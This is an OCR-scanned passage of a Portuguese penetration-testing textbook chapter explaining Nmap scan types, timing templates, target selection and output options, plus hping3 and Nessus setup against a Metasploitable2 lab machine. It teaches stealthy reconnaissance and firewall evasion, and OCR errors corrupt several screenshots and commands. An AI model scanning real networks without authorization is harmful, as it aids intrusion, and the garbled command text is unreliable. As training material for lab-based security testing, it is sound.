12 ms 12 ms 12 ms 72.14.236.98

O 00 N O U1 B W N B



10 18 ms 18 ms 18 ms 66.249.95.231

11 25 ms 24 ms 24 ms 216.239.48.4

12 48 ms 46 ms 46 ms 72.14.237.213

13 50 ms 5@ ms 50 ms 72.14.237.214

14 48 ms 48 ms 48 ms 64.233.174.137

15 47 ms 47 ms 46 ms dfw@6s32-in-f19.1e100.net [74.125.227.179]

Trace complete.

Muitas das ferramentas de scanning no Kali usam protocolos como o TCP, o UDP e o ICMP para
mapear as redes-alvo. O resultado de uma fase de scanning bem-sucedida consiste em uma listagem
contendo hosts, enderegos IP, sistemas operacionais e servigos. Algumas ferramentas de scanning
também podem identificar vulnerabilidades e descobrir detalhes acerca dos usuarios. Esses detalhes
podem contribuir bastante para aperfeicoar a fase de exploracio de falhas, pois os ataques dessa fase

poderdo ser mais bem focados de acordo com as tecnologias, as vulnerabilidades ou os hosts especificos.

Nmap: o rei dos scanners

O Nmap tem a capacidade de determinar ndo s6 quais computadores estido ativos na rede-alvo como
também, em muitos casos, pode determinar o sistema operacional, as portas que estio ouvindo, os
servicos e, possivelmente, as credenciais dos usuarios. Ao usar uma combinac¢io de comandos e op¢des
contra os alvos, o Nmap pode ser um bem valioso na fase de scanning dos testes de invasao.

A estrutura do comando Nmap

As op¢oes do comando Nmap apresentam uma estrutura bem definida, o que permite que as opgoes do
comando e os alvos sejam combinados de modo a permitir o maximo de flexibilidade. Um comando
tipico, porém bem basico, esta sendo mostrado na figura 8.3, a qual detalha as varias partes basicas que
informam a ferramenta de scanning o que devera ser feito.

Opc¢odes de scanning Alvol(s)

|

nmap —sS -T2 192.168.1.44 -oN

N ~

Comando Opcoes detempo  Opcdes de saida

Figura 8.3 - Estrutura do comando Nmap.

Com excecao do proprio comando Nmap, cada uma dessas opcoes serd discutida com mais detalhes nas
secoes seguintes. As op¢des do comando informam ao sistema operacional que programa deve ser
executado — nesse caso, 0 Nmap - e o que é especificamente necessario para executar a tarefa de forma
adequada. Apds o comando, encontram-se as op¢des de scanning — nesse caso, o scan stealth estd sendo
indicado pela opgao -ss. A seguir, estdo as opgoes relacionadas aos tempos, que informam a ferramenta
o volume de trafego a ser gerado e com que velocidade, determinando, em ultima instancia, se o scan
sera executado de forma rapida ou lenta. Nesse exemplo, a op¢io para o alvo vem depois das opc¢des



relacionadas ao tempo e é a unica parte adicional obrigatdria do comando, necessaria a execu¢ao de um
scan Nmap. A ultima op¢io nesse exemplo corresponde a op¢io para a saida, que informa a aplicacao o
local para o qual o resultado do scan devera ser enviado. Os comandos de scanning do Nmap podem
ser muito mais complexos ou muito mais basicos que o comando e as op¢des mostrados na figura 8.3.
Por exemplo, o comando a seguir contém tudo o que é necessario para compor uma instru¢do completa
do comando Nmap que resultard no scanning do alvo. Nesse caso, o alvo serd a maquina virtual
Metasploitable2 do laboratoério descrito no capitulo 5 deste livro.

nmap 10.0.2.100

Por padrdo, o Nmap realizarda um scan stealth do alvo que estd em 10.0.2.100 usando a velocidade
correspondente ao template normal de tempo (T3), caso nenhuma op¢io seja definida, como mostrado
no exemplo anterior. Além do mais, os resultados do scan serdo enviados ao monitor (se ele estiver
definido como a saida-padrdo). Esse scan basico demonstra uma das extremidades do espectro do
Nmap, com a outra extremidade correspondendo aos scans mais complexos e longos que definem agoes
detalhadas a serem executadas pelo Nmap. Os usos avancados incluem a execucio de scripts detalhados
criados para o Nmap por meio do NSE (Nmap Scripting Engine).

Para entender melhor as mintcias a respeito dos scans Nmap basicos, as proximas se¢des irdo detalhar
as opgdes para aprimorar o uso do Nmap como uma ferramenta de scanning que ajudara a definir os
alvos em um teste de invasdo. Além de descrever brevemente alguns recursos do Nmap, essas secoes
proporcionardo ao leitor uma compreensdo sélida acerca do que a ferramenta é capaz de fazer. As
opgoes relacionadas aos tipos de scanning, aos tempos, aos alvos e a saida serdo discutidas nessas segoes.
Em seguida, o uso basico dos scripts prontos do Nmap sera discutido.

Opgoes de scanning

O prefixo de scanning -s (s minusculo) informa a ferramenta de scanning Nmap que o usuario esta
especificando um determinado tipo de scan a ser realizado no(s) alvo(s) definido(s) no comando de
scan. O “s” mindsculo é seguido de uma letra maituscula que identifica o tipo de scan. A sele¢io do tipo
de scan pode ajudar o pentester a evitar a detecgdo por parte de alguns hosts e de sistemas de proteciao
baseados em rede e pode até mesmo ajuda-lo a se desviar de algumas protecdes de rede, como os
firewalls.

-sS Scan stealth

O scan stealth corresponde a op¢ao de scan default usada pelo Nmap quando ndo houver nenhuma
op¢ao de scan definida. O scan stealth também pode ser intencionalmente iniciado quando a opgao -ss
for definida na string de comando. Esse scan inicia uma conexao TCP com o alvo, porém nunca chega a
concluir o handshake de trés vias. A ferramenta Nmap inicia o handshake ao enviar um pacote SYN ao
computador-alvo. Esse provavelmente respondera com um pacote SYN/ACK que ndo sera confirmado
por essa ferramenta. Com isso, a conexdo ficard aberta, pois o canal de comunicacio nio sera
totalmente estabelecido. A maioria dos sistemas fecha automaticamente essa conexdo apds um
determinado periodo de tempo. Em sistemas mais antigos, configurados de modo indevido, esse tipo de
conexao pode nao ser detectado, de modo que esse tipo de scan normalmente é associado a um scan
mais clandestino e mais discreto no alvo. Atualmente, muitos sistemas de rede e até mesmo os hosts



conseguem detectar o scan stealth; no entanto isso ndo deve impedir que o pentester use essa técnica de
scanning, pois ela geralmente é mais dificil de ser detectada em rela¢ao a outros tipos de scans, e, se o
sistema-alvo estiver configurado indevidamente, o scan podera passar totalmente despercebido, mesmo
nos dias de hoje. Essa técnica de scan estd sendo mostrada na figura 8.4.

arting HMHP h 40 | ‘/mmap.org ) at 2013-09-17 0/7:33 EDT
for 10. AE

shown: 977 klds“d ports

STATE SERVICE
open ftp
open ssh
open telnet
open smip
open domaln
open http
open rpcbind
open netbios-ssn
open microsoft-ds
open exec
open login
open shell

) open  rmiregistry

) open lngreslock
open nfs

) open ccproxy-ftp

) open  mysql

) open postgresqgl
open  vnc

y open K11
open 1rc

cp open a&j
) nppn UNKNowWnN
08:00:27:4A:BE:F9 (Cadmus Computer

(1 host up) scanned in 13.34 seconds
Figura 8.4 — Scan stealth.

-sT Scan TCP connect

O scan TCP connect normalmente pode ser usado para coletar mais informacgdes sobre o alvo do que o
scan stealth é capaz de fazer, pois uma conexdo TCP completa é estabelecida com o host-alvo. Nesse
caso, a ferramenta Nmap inicia com um pacote SYN, que provavelmente sera confirmado pelo alvo por
meio de uma resposta SYN/ACK. De modo diferente de um scan stealth, essa ferramenta desta vez ira
completar o estabelecimento da comunica¢do enviando um pacote ACK final. Esse scan ¢é registrado em
log na maioria dos sistemas, porém geralmente pode fornecer mais informagdes que o scan stealth
(Figura 8.5).



Starting Nmap

~# nmap -sl 10.0.

6.40 ( htt;'“’ﬂmaﬁ

N =T

Nmap scan report for 10.0.2.100

Host 1is up (G

..JlﬁH 11LEHLv1.
Not shown: 977

PORT 5 ﬁTE :

open
opan
open
(9] E‘ =l
open
open
opan
open
445/tcp open

512/tcp open
al3/tcp open
open

) open
) open

P open

) open

) open
 open

) open

Cp open
/tcp open
'tcp open
) open

ﬂdrEbET

Nmap done: 1 IP address (1 host up) scanned in 13.14 second

-su Scan UDP

O scan UDP faz uma avaliacdo das portas UDP do sistema-alvo. De modo diferente do scanning de
portas TCP, os scans UDP esperam receber respostas dos sistemas cujas portas testadas estejam
fechadas. Os pacotes enviados as portas UDP abertas ndo recebem resposta; porém, se o pacote enviado
causar a gera¢do de uma resposta pelo alvo, entdo a porta sendo verificada estara aberta. Se nenhuma
resposta for recebida, a porta podera estar aberta ou podera estar sendo filtrada por um dispositivo, por
exemplo, um firewall. Portas UDP fechadas podem ser identificadas por uma resposta ICMP com um
tipo igual a 3 e um cddigo igual a 3 (porta inacessivel). Por fim, as portas com confirmagao de que estdo
sendo filtradas terdo uma resposta ICMP com um tipo igual a 3 e com cédigos iguais a 1, 2, 9, 10 ou 13,

domain

http
rpcbind
netblos-ss
microsoft-ds
exec

login

shell
rmiregistry
ingreslock
nfs
ccproxy-ftp
mysqgl
postgresqgl
VinC

e |

irc

ajpl3
unknown

QB:00:27:4A:BE:FS

100

.0org ) at 2013-09-

Cadmus Computer Systems)

Figura 8.5 - Scan TCP connect.

indicando varios erros de inacessibilidade (Figura 8.6).
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:~# nmap -sU 10.0.2.100

Starting Nmap 6.40 ( http://nmap.org ) at 2013-09-17 07:46 EDT
Nmap scan report for 10.0.2.100
Host is up (0.00055s latency).
Not shown: E;_wﬁlﬁzed ports
PORT STATE= SERVICE
53/udp  open domain
68/udp open|filtered dhcpc
69/udp open|filtered tftp
111/udp open rpcbind
137/udp open netblios-ns
38/udp open|filtered netbios-dgm
2049/udp open nfs
MAC Address: 08:00:27:4A:BE:F9 (Cadmus Computer Systems)

Nmap done: 1 IP

Figura 8.6 — Scan UDP.

-sA scan ACK

O scan ACK, ou seja, -sA, é usado na tentativa de determinar se uma porta TCP esta sendo ou ndo
filtrada. Esse scan inicia uma comunicac¢ido com o alvo usando a flag de confirmacio (ACK) ligada. As
vezes, esse tipo de scan consegue passar por determinados firewalls ao se passar por uma resposta
(ACK) a uma solicitacio enviada internamente. Por exemplo, um pacote SYN ¢é enviado pelo
computador-alvo, apesar de esse computador interno nunca ter enviado uma solicitagdo. Uma resposta
reset (RST) a esse scan indica que a porta consultada nédo esta sendo filtrada. Se nenhuma resposta for
recebida ou se uma resposta ICMP com tipo igual a 3 e cddigo igual a 1, 2, 3, 9, 10 ou 13 (erro de
inacessibilidade) for recebida, isso indicara que a porta esta sendo filtrada (Figura 8.7).

:~# nmap -sA 10.0.2.1006

starting Nmap 6.40 ([

Nmap scan raport fol

jHost is up (0.00018s latency) .

ALl 1000 scanned ports on 10.0.2.100 are unfiltered

IMAC Address: 08:00:27:4A:BE:F9 (Cadmus Computer Systems)

INmap done: 1 IP address (1 host up) scanned in 13.14 ds

|

Figura 8.7 — Scan ACK.

Templates de tempo

Conforme mencionado anteriormente, o template default de tempo usado pelo Nmap, caso nenhuma
opcao de tempo seja definida, corresponde ao -73 ou normal. O Nmap tem incluida a capacidade de



permitir que o usuario sobrescreva essa funcionalidade de modo a permitir um scan a ser realizado no
conjunto de alvos, que seja mais rapido ou mais lento que a velocidade normal default. Existem varios
parametros diferentes que sdo ajustados de acordo com o template de tempo selecionado, porém as
configuracdo mais ilustrativas correspondem aos intervalos entre os probes (sondagens) efetuados
durante o scanning e ao status relativo ao processamento paralelo. Por esse motivo, as opg¢oes
scan_delay, max_scan_delay e max_parallelism serdo usadas para explicar cada um dos diferentes templates
de tempo. Essas op¢des proporcionam um bom método para avaliar cada um dos templates de tempo
de modo a garantir que o template adequado seja definido para o teste de invasdo e a rede-alvo. O
parimetro scan_delay define o intervalo de tempo minimo entre os probes enviados ao computador-
alvo, enquanto max_scan_delay indica o tempo maximo permitido entre os probes do scanning, de acordo
com as configuracoes do alvo e da rede. Isso pode ser importante, pois alguns sistemas responderdo aos
probes somente a uma taxa especifica. O Nmap ajustara automaticamente o tempo para os probes de
modo a corresponder aos requisitos do sistema ou da rede, até o maximo configurado em
max_scan_delay. O max_parallelism instrui o sistema a enviar um probe de cada vez para scans seriais ou
varios probes a0 mesmo tempo para scans paralelos.

Os exemplos a seguir usam o mesmo alvo, que é a maquina virtual Metasploitable2, com a op¢ao -su
(scan UDP) definida. Embora nio tenha sido apresentada ainda, este exemplo usara a op¢ao de porta (-
p) para indicar que o scan deve ser realizado nas 500 primeiras portas; isso sera feito por meio da
combinagido de opgdes -p 1-5e0. O comando Nmap para isso tera o aspecto mostrado a seguir; no
entanto a hashtag (#) sera substituida pelo numero do template a ser usado no exemplo especifico.
Dessa maneira, os tempos envolvidos nos scans poderdo ser comparados. Embora a opgio -T# esteja
sendo usada neste exemplo, o texto em inglés também pode ser utilizado para obter os mesmos
resultados; desse modo, -T5 e --timing insane resultam na execu¢io do mesmo scan.

nmap -sU -T# -p 1-500 10.0.2.100
ou

nmap -sU --timing paranoid -p 1-500 10.0.2.100

-Te Paranoid

O scan -Te ou Paranoid é usado para links de rede lentos ou em situagées em que os riscos de detecgio
devam ser minimizados. Esse scan é serial e farda uma pausa de no minimo cinco minutos; no entanto o
parametro max_scan_delay sera ignorado, pois o scan_delay base esta configurado com um valor maior do
que o valor default desse pardmetro. E ficil ver a quantidade de tempo necessaria para executar o scan
paranoid em apenas 500 portas UDP em um tnico computador, como mostrado na figura 8.8. Nessa
figura, o horario do sistema esta sendo apresentado na parte superior e corresponde a 10:29 AM,
enquanto o horario de inicio do scan ocorreu as 8:23 AM, indicando que o scan ja executou durante
mais de duas horas. A ultima linha indica que o scan serd concluido em 45 horas e 37 minutos. Esse
scan pode ser eficiente, mas deve ser usado quando for preciso ser discreto e houver bastante tempo
disponivel.



Wed Sep 18, 10:29 AM
root@kali-local: ~

File Edit View Search Terminal Help

:~# nmap -sU --timing paranoid -p 1-5060 16.0.2.1060

jStarting Nmap 6.40 ( http://nmap.org ) at 2013-09-18 08:23 EDT

Stats: 1:55:15 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
BUDP Scan Timing: About 4.00% done; ETC: 06:19 (44:00:48 remaining)
iStats: 2:05:15 elapsed; 0@ hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 4.20% done; ETC: 08:06 (45:37:54 remaining)

Figura 8.8 — Scan Paranoid.

-T1 Sneaky

O scan -T1 ou --timing sneaky é um pouco mais rapido que o scan paranoid, o que reduz o tempo
necessario para realizar o scan, a0 mesmo tempo que mantém parte da discricio inerente a um scan
mais lento. Esse scan também usa um processo serial para consultar o alvo, porém reduz o scan_delay de
forma bastante dramatica para 15 segundos. Embora tenha sido reduzido, o scan_delay continua com
um valor maior do que o de max_scan_delay, de modo que esse segundo valor serd ignorado. A diferenca
de velocidade entre esse scan e o scan -Te esta sendo mostrada na figura 8.9, em que o tempo de scan
foi reduzido para 8.331 segundos, ou seja, 138 minutos.

~# nmap -sU -T1 -p 1-5G0 10.0.2.100

iStarting Nmap 6.40 ( hrrp-'fnmap_grg ) at 2013-09-17 11:14 EDT
ENmap scan rupnrt for 16.0.2.160
jHost is up (0.G6006
: shown: 494 close
STATE
apen domain

open| filtered dhcpc
i open| filtered tftp
;111 ‘'udp open i rpcbind
113/ /udp open netbios-ns
1138/udp open| filter—-ﬂd netbios-dgm
BMAC Address: G8:;00:27:4A:BE:F9 (Cadmus Computer Sy

INmap done: 1 IP address (1 host up) scanned in 8331.1°

Figura 8.9 — Scan Sneaky.

-T2 Polite

O scan -T2 ou --timing polite representa novamente um aumento de velocidade em relacdo aos scans -
Te e -T1, e é o ultimo template de scanning a usar a técnica de scanning serial. O scan_delay associado a
esse scan esta configurado com 400 milissegundos, fazendo com que esse seja o primeiro scan a usar o
max_scan_delay, um pardmetro que continua definido com o valor default igual a 1 segundo. Com esse
template selecionado, o Nmap comegara a realizar o scanning dos alvos usando o scan_delay de 400



milissegundos, porém terd a capacidade de ajustar dinamicamente o intervalo até o maximo de 1
segundo. Ao analisar o tempo necessario para concluir o scan polite nas mesmas 500 portas, podemos
ver que o tempo total do scanning foi reduzido para 544 segundos, ou seja, apenas 9 minutos (Figura
8.10).

:~# nmap -sU --timing polite -p 1-500 10.0.2.160

Starting Nmap 6.40 ( http://mmap.org )} at 2013-09-17 11:03 EDT
Nmap scan rﬁport for l@.@.“.luﬂ
Host is up 058s latency) .
Not shown: ﬂ94 clmsed ports
STATE SERVICE
open domalin

open|filtered dhcpc
up-—-r||TJ.'|.té ‘tftp
) open rpcbind
D open netbios-ns
» open|filtered netbios-dgm
ﬂddr‘&ii: B8:00:27:4A:BE:F9 (Cadmus Computer

fNmap done: 1 IP address (1 host up) scanned in 544.72
Figura 8.10 - Scan Polite.

-13 Normal

O scan -T3 ou --timing normal é o scan default do Nmap, o que significa que, se nenhum template de
tempo ou nenhuma op¢ao manual forem definidos, as configuracdes desse template serdo usadas no
scan. Esse template é o primeiro a usar a técnica de processamento paralelo, enviando varios probes
simultaneamente, o que aumentara a velocidade em geral. Esse scan possui um scan_delay igual a 0, que
pode aumentar até max_scan_delay, que ¢ igual a 1 segundo, o que significa que o scan ocorrera o mais
rapido possivel, porém, apds 1 segundo, o scan da porta corrente serda abandonado e a proxima porta
sera verificada. O scan normal realizou o scan das portas selecionadas no computador-alvo em 547
segundos — mais lento que o scan polite nesse exemplo, embora esse normalmente néo seja o caso. Essa
¢ uma das peculiaridades do scanning: as vezes, algumas tarefas se alinham e um scan que deveria ser
mais lento acaba nio sendo tio lento assim. E por isso que um pentester competente deve estar
familiarizado com todas as ferramentas de seu arsenal a fim de saber qual é a melhor maneira de
emprega-las (Figura 8.11).



=% nmap -sU -13 -p 1-500 10.0.2.100

Starting Nmap 6.40 ( http: “'nmap.ﬂrg ) at 2013-09-17 10:53 EDT
Nmap scan report for 10.06.2.100
Host is up (B8.00059s latency) .
Mot shown: 494 closed ports

STATE SERVICE

open domain

open| filtered dhcpc

open|filtered tftp

open rpcbind

dp ﬁpﬂﬁ natbios-ns

Nmap done: 1 IP address (1 host up) scanned in

Figura 8.11 - Scan Normal.

-T4 Aggressive

O template -T4 ou --timing aggressive também executa o seu scanning de modo paralelo, com
velocidade crescente. O scan_delay nesse template é configurado com 0 e pode aumentar até
max_scan_delay, cujo valor é igual a 10 milissegundos. Os scans com um max_scan_delay inferior a 1
segundo sdo propensos a erros, pois alguns sistemas operacionais-alvos possuem configuragdes que
exigem um intervalo minimo de 1 segundo entre as respostas aos probes. Esse scan concluiu o scan de
portas da maquina virtual Metasploit em apenas 477 segundos, ou seja, pouco menos de 8 minutos
(Figura 8.12).

-T4 -p 1-560 10.0.2.100

Starting Nmap ? 0 ( http://mmap.org ) at 2013-089-17 1@
Warning: 10.0. 08 givi [ port because retransmission cap hit (86).
Hmap SCan repo i 3.0 .2

open|filtered ports
J
ﬂ_ 'udp
-lllfudp opean rnrblﬂd
1137 /udp opan qnfhlnq-|q
IMAC Address: B8:( :4A :BE:F9 (Cadmus C

fNmap done: 1 IP address (1 host up) scanned in 477.75 seconds

Figura 8.12 — Scan Aggressive.

-15 Insane

O template de tempo -T5 ou --timing insane é 0 que prové a maior velocidade entre os templates
prontos de tempo. Esse template usa a técnica de scanning paralelo, com um scan_delay igual a 0 e um
max_scan_delay igual a 5 milissegundos. Conforme mencionado na descrigdo do scan Aggressive, esse
scan pode causar erros, dependendo dos sistemas operacionais dos computadores-alvo e de suas
configuracdes. Esse scan, que é o mais rapido, foi concluido em pouco menos de 22 segundos; no
entanto os resultados foram um pouco diferentes em relagio aos demais scans realizados até agora
(Figura 8.13).



nmap -sl - -560 16.8.2.1600

filtered ports

chargen
ain

yak-ch
W gl At

45

IMAC Addre 27 :4A:BE:F9 ([Cadmus Computer Systems)

INmap done:  ad = (1 host.up) scanned in21.90 seconds

Figura 8.13 — Scan Insane.

Identificacdo do alvo

A identifica¢do do alvo ou do conjunto de alvos em um scan Nmap corresponde a uma das partes mais
importantes da string de comando do Nmap. Definir os alvos incorretos pode resultar no scanning de
um espago de enderecamento IP vazio ou, pior ainda, no scanning de computadores que nao estdo
incluidos no ROE (Rules of Engagement). Existem varias maneiras de definir um conjunto de alvos no
comando de scan. Entre esses métodos, ha dois descritos neste livro que correspondem ao uso de uma
faixa de enderecos IP e ao uso de uma lista de scan.

Faixas de enderegos IP

Definir um conjunto de alvos por meio de uma faixa de enderegos IP é bem simples. Neste exemplo, a
faixa de enderegos sera a faixa de enderegos classe C 10.0.2.x. Isso significa que o numero maximo de
hosts que podem ser incluidos no scan é de 254. Para fazer o scan de todos os hosts, use o comando a
seguir:
nmap 10.0.2.1-255

Esse mesmo scan pode ser executado com o método de enderecamento CIDR, que usa o sufixo /24
conforme mostrado a seguir. O enderecamento CIDR corresponde a um modo rapido de selecionar
uma faixa de enderecos, mas o assunto esta além do escopo deste livro. Uma maneira rapida de definir
uma faixa CIDR sem realizar todos os calculos consiste em usar uma das calculadoras online, como a
que esta disponivel em http://www.mikero.com/misc/ipcalc/. Para usa-la, insira os enderecos inicial e final
nas caixas correspondentes a faixa de enderecos IP e clique no botao Go (Converter), como mostrado
na figura 8.14. Ha varias referéncias boas que podem ser usadas para que se aprenda mais sobre o



enderecamento CIDR.

nmap 10.0.2.1/24

@MlHERU.CDM

photos Mmusic abouk misc

Type in the start and end addresses of an arbitrary network range, and it will be
expanded to an "aligned” range that can be expressed in CIDR notation:

Start address: 10.0.2.1
End address: 10.0.2.255

Go

Figura 8.14 — Conversdo CIDR.

Um conjunto menor de enderecos IP pode ser identificado no scan por meio da defini¢do de uma faixa
menor de IPs. Neste exemplo, os 100 primeiros enderecos serdo verificados:

nmap 10.0.2.1-100
Ou podemos usar o CIDR:

nmap 10.0.2.0/25

Lista de scan

O Nmap também pode usar um arquivo texto que contenha a lista de alvos como entrada. Suponha que
os enderecos a seguir estejam armazenados em um arquivo chamado targets. txt.

10.0.2.1
10.0.2.15
10.0.2.55
10.0.2.100

O comando para usar esse arquivo tem o seguinte aspecto:

nmap -ilL targets.txt

Selecao de portas

A selecao de portas pode ser feita por meio da op¢ido -p no comando de scan. As portas podem ser
contiguas, o que é indicado por um trago no comando. As portas selecionadas também podem ser
identificadas por meio de virgulas no comando.

nmap -sS -p 1-100



nmap -sU -p 53,137,138,161,162

(ou use ambos) nmap -sS -p 1-100,445,8000-9000

Opcoes de saida

Ha varias situagdes em que o pentester nao ira querer que a saida do scan Nmap seja enviada para a
tela, mas ira querer que ela seja salva em um arquivo. Isso pode ser feito por meio do redirecionamento
da saida usando o comando pipe (|); porém, neste capitulo, as op¢coes de saida do scan Nmap serdo
descritas. Essas op¢oes incluem Normal, XML e GREPable. Em todos os exemplos, o alvo
Metasploitable em 10.0.2.100 sera usado e a extensdo apropriada serd utilizada com o nome do arquivo
“metascan”.

-oN Saida Normal

A op¢io de saida normal fard um arquivo texto ser criado, o qual podera ser usado para a avaliacao dos
resultados do scan ou como entrada para outros programas.

nmap -oN metascan.txt 10.0.2.100

-ox Saida XML (Extensible Markup Language)
A saida XML pode ser usada para servir de entrada a varias aplicacoes diferentes para que seja feito um
processamento ou uma avaliacdo subsequente.

nmap -oX metascan.xml 10.0.2.100

-oG Saida GREPable

A saida GREPable normalmente é usada pelos pentesters para permitir uma investigagido posterior por
meio de ferramentas como o GREP, mas a pesquisa também pode ser feita com ferramentas como o
AWK, o SED e o DIFF.

nmap -oG metascan.txt 10.0.2.100

-os Saida ScRipT Kiddj#

Embora nido seja usada em testes de invasdo sérios, a saida script kiddie pode ser divertida quando
usada de vez em quando. Esse método de saida ndo deve ser empregado em scans sérios, pois usa o
“leetspeak”, empregado por muitas pessoas a quem a maioria dos pentesters chamariam de “script
Kiddies”:.

nmap -oS metascan.txt 10.0.2.100

Nmap Scripting Engine

A criacdo de scripts personalizados para o Nmap estd além do escopo deste livro; no entanto a
capacidade de usar scripts prontos pode ser bem util na realizagdo dos testes de invasdo. O conjunto
completo dos scripts prontos pode ser encontrado em http://nmap.org/nsedoc/. Neste exemplo, o script
sera usado para obter informacdes do NetBIOS e do endereco MAC do alvo. Para informar a
ferramenta de scanning Nmap que um script sera usado, a flag --script é utilizada, como mostrado no
exemplo a seguir:



nmap --script nbstat.nse 10.0.2.100

O Nmap esta continuamente envolvido no desenvolvimento de novos scripts para que a comunidade
possa usa-los. Um pentester deve garantir que o banco de dados de scripting do Nmap esteja o mais
atualizado possivel. E recomendavel que o banco de dados seja atualizado antes de dar inicio a uma
missdo. Para atualizar o banco de dados do Nmap, utilize o comando:

nmap --script-updatedb

Hping3
O Hping é uma aplicacdo que pode ser usada para criar pacotes manualmente a fim de inseri-los na
rede. E um processo manual para a criacio de pacotes, semelhante aquele usado pela ferramenta

Nmap, que cria os pacotes automaticamente. Por exemplo, o Hping3 pode criar uma série de pacotes de
sincronizagdo ao usar a flag -s.

hping3 -S 10.0.2.100

Informagoes completas sobre o Hping3 podem ser encontradas no arquivo de ajuda, acessivel por meio
da opg¢ao -h.
Hping3 -h

Nessus

Apos a instalacdo do Nessus ter sido concluida conforme descrito no capitulo 3, inicie o scanner Nessus
por meio do comando a seguir:

/etc/init.d/nessusd start

Depois que o scanner for iniciado, abra o navegador web IceWeasel e acesse https://localhost:8834/. O
numero apods os dois pontos — nesse caso é o 8834 — diz ao navegador para se conectar ao computador
local por meio da porta 8834, em vez de usar a porta default. E importante verificar a documentacio do
Nessus para garantir que a porta correta estd sendo usada para se conectar ao console; algumas versoes
podem usar uma porta diferente. Para os navegadores web, a porta default é a 80, e um usuario que
tentar acessar o kali-local na porta default 80 vai encontra-la fechada ou oferecendo servicos que ndo
sdo compativeis com o navegador web IceWeasel.

Fazer a conexdo com essa porta usando o navegador IceWeasel fara o Nessus Console - uma GUI que
permite ao usudrio definir, configurar e executar o scan usando a ferramenta Nessus — ser aberto. A
primeira pagina a ser apresentada sera a janela que permite ao usuario fazer o registro da aplica¢ao,
como pode ser visto na figura 8.15. O registro é necessario para obter as atualizagdes, os arquivos e
outras informagoes a respeito do Nessus Home Feed. Se um cddigo de ativagio valido para o Nessus
ndo estiver disponivel, clique no botdo Getstarted (Iniciar) para dar inicio ao processo de registro.



48 | & nteps/kali-local: 8834 /registe v @] |[Bv Google Q &

¥ Most Visited~ [l Offensive Security % Kali Linux "W Kali Docs “E:plﬂit-DE W Aircrack-ng

Thank you for installing Messus, the world leader invulnerability scanners. Messus will allow you to perform:

+ High-speed vulnerability discovery, to determine which hosts are running which sendices

« Agentless audiing, [0 make swre nd Nost on your network, 15 mMISsIing secunty palches

« Compliance checks, to verify and prove that every host on your network adheres to the security policy you defined
« SCan schedulng, to automatically run scans at the freguancy you select

+ and more!

Curing the nesd sleps, we are going Lo creale an administirative account and register youwr scanner with a Plugin Feed, which we will download.
you will need an Activation Code before you can use MNessus; if you do not have an activation Code already, please go 10 hilpdwww.nessus.ong
freqisters to get one now.

Get started >

-
Figura 8.15 - Registro do Nessus.

A préxima tela é usada para configurar a conta inicial de administrador. Crie essa conta preenchendo os
campos de login e de senha nessa pagina e fazendo a confirmac¢ido da senha (Figura 8.16). Neste
exemplo, o nome do usudrio sera definido como Nessus e a senha Nessus serd usada - uma combinacio
que deve ser empregada somente em ambientes de teste. Selecione um nome de usudrio e uma senha
que atendam aos requisitos do sistema e clique no botao Next (Préximo).

A préxima tela é usada para ativar o Nessus Feed Plugin. O botao | already have an Activation Code (J& tenho
um Coédigo de Ativagio) serve para os usuarios que ja registraram o Nessus anteriormente. Basta clicar
nesse botdo e inserir o Codigo de Ativagdo. Nesse exemplo, | will use Nessus to scan my Home Network (Usarei
o Nessus para efetuar o scan de minha rede doméstica) sera selecionado. Digite o primeiro nome e o
sobrenome, bem como o enderego de email. Se houver um proxy na rede, clique no botao Proxy Settings
(Configuracdoes do proxy) e insira as informagdes apropriadas. Nenhum proxy sera usado nesse
exemplo, portanto o botao Next pode ser clicado.

Em caso de sucesso, uma tela informando que um registro bem-sucedido ocorreu sera mostrada. Um
botdo que permite que os plugins mais recentes sejam baixados também sera apresentado nessa tela.
Clique no botao Next: Download plugins (Préximo: Baixar plugins).

Apos fazer o download dos plugins, a caixa de didlogo para login sera apresentada. Digite o nome de
usudrio e a senha do administrador, criados anteriormente. Em seguida, clique no botao Sign in To
Continue para fazer o login. Com isso conclui a configuracao inicial do Nessus estara concluida.



‘ﬁb MNessus

First, we need to create an admin user for the scanner, This user will have administrative control on the scanner; the admin has the ability to
create/deleta users, stop angoing scans, and change the scanner configuration,

Login: [Messus ;

Fassword: |sssees |

| Confirm Password: |sseeeq

= ey et =

Because the admin user can change the scanner configuration, the admin has the ability o execute commands an the remaote hosk
Therefare, it showld be considered that the admin user has the same privileges as the “rooi” (ar adminisirator) wser on the remaorte host,

Figura 8.16 - Configuragdo inicial do Nessus.

Scanning com o Nessus

Apos instalar o Nessus, é importante saber como configurar e fazer o scanning de uma rede ou de um
sistema usando a aplicacdo. Este exemplo serd executado no laboratério criado anteriormente neste
livro. A maquina virtual Metasploitable2 foi configurada com um endereco IP igual a 10.0.2.100, e a
maquina virtual Kali tem um endereco IP igual a 10.0.2.15. As maquinas virtuais tiveram o adaptador
de rede configurado no console do VirtualBox para Internal, de modo a garantir que nenhum scanning
sem autorizagdo ocorra a partir da rede externa e para garantir que a maquina virtual Metasploitable2
nao esteja acessivel a usudrios externos. Depois que ambos os computadores estiverem prontos e
executando, o Nessus podera ser configurado e o scan podera ser realizado.

Adicionando um usudrio no Nessus

E recomendavel criar uma conta diferente para cada usuério que utilizard o Nessus Console. As contas
devem ser associadas a usuarios individuais, se possivel, e nao devem ser compartilhadas. Para criar um
usuario, selecione a aba Users (Usudrios) e, em seguida, selecione o botdo + New User (+ Novo Usuario).
Isso fara uma caixa de dialogo ser aberta, em que as credenciais do usudrio poderdo ser inseridas
(Figura 8.17). Use essa caixa de dialogo para inserir o nome do usudario e a senha (duas vezes). Se o
usuario for um administrador, marque a caixa de selecio Administrator (Administrador). Depois que
todos os campos desse formulario forem preenchidos, clique no botao Create User (Criar usuario).



& New UsRy X

LIsername

Fassword
Confirm Password

Admirastrator

- Create Usar ) Cancal
Figura 8.17 — Novo usudrio.

Configuragdo

A aba de configuracdo permite ao usuario ajustar melhor o Nessus Scanner para que ele funcione do
modo mais eficiente e eficaz possivel. Use essa aba para configurar portas de proxy, acessar
configuracdbes de SMTP, configuracdes de dispositivos moveis (Mobile Settings), configuragoes de
resultados (Results Settings), varias configuragoes avancadas (Advanced Settings), além de permitir ao
usuario configurar o Nessus Feed e o Cédigo de Ativagdo (Activation Code). Se o Cddigo de Ativacio
ainda nao tiver sido inserido, use a aba Feed Settings (Configuracdes de feed) na pagina System
Configuration (Configuracoes de sistema) para fazer isso agora. Em seguida, atualize as configurac¢oes do
